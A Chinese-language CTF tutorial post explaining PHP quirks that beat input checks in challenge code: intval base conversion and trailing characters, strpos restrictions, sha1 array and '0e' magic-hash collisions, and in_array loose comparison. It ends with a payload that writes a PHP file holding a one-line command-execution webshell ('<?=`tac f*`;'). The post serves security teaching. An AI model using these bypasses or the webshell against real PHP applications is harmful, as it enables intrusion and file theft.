CTF中的PHP特性函数解析之中篇
发布: 来源: PHP粉丝网 添加日期:2023-06-26 11:32:28 浏览: 评论:0
上篇文章给大家带来了PHP中最基本的特性,不知道大家学习的怎样了,回顾上文,我们讲了MD5强弱碰撞以及正则匹配的绕过,总体来看还是很简单的,下面给大家带来新的PHP特性讲解,会稍微比上一篇难一些。
intval()
上一篇在最后时简单介绍了一下这个函数,我们看看官方是怎样定义的:
简单来说就是让输入的数字变成整数,下面我们举个例子:
echo intval(1145.14); // 1145
echo intval('114514'); // 114514
可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:
- if($num==="1145"){
- die("no no no!");
- }
- if(intval($num,0)===1145){
- echo $flag;
- }
要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?
这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:
sum=1145a
intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:
当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。
strpos()
根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:
if(!strpos($num, "0")){
die("no no no!");
因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。
sha1
p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:
数组比较
类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:
- if(sha1($a)==sha1($b) && $a!=$b){
- echo $flag;
- }
可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,于是我们传入数组来使结果为NULL:
a[]=1
b[]=2
强类型
与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:
- if(sha1($a)===sha1($b) && $a!=$b){
- echo $flag;
- }
这里同样有类似于MD5函数的解决方法:
a=aaK1STf //0e7665852665575620768827115962402601
b=aaO8zKZF //0e89257456677279068558073954252716165
array_push()
可以理解为向数组尾部插入参数,我们看看是如何考察的:
- highlight_file(__FILE__);
- $allow = array();
- for ($i=36; $i < 0x36d; $i++) {
- array_push($allow, rand(1,$i));
- }
- if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
- file_put_contents($_GET['n'], $_POST['content']);
- }
- ?>
可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:
type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:
get: n=1.php
post: content=<?=`tac f*`;
Tags: CTF PHP特性函数
- 上一篇:CTF中的PHP特性函数解析之上篇
- 下一篇:最后一页
相关文章
- ·CTF中的PHP特性函数解析之上篇(2023-06-26)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)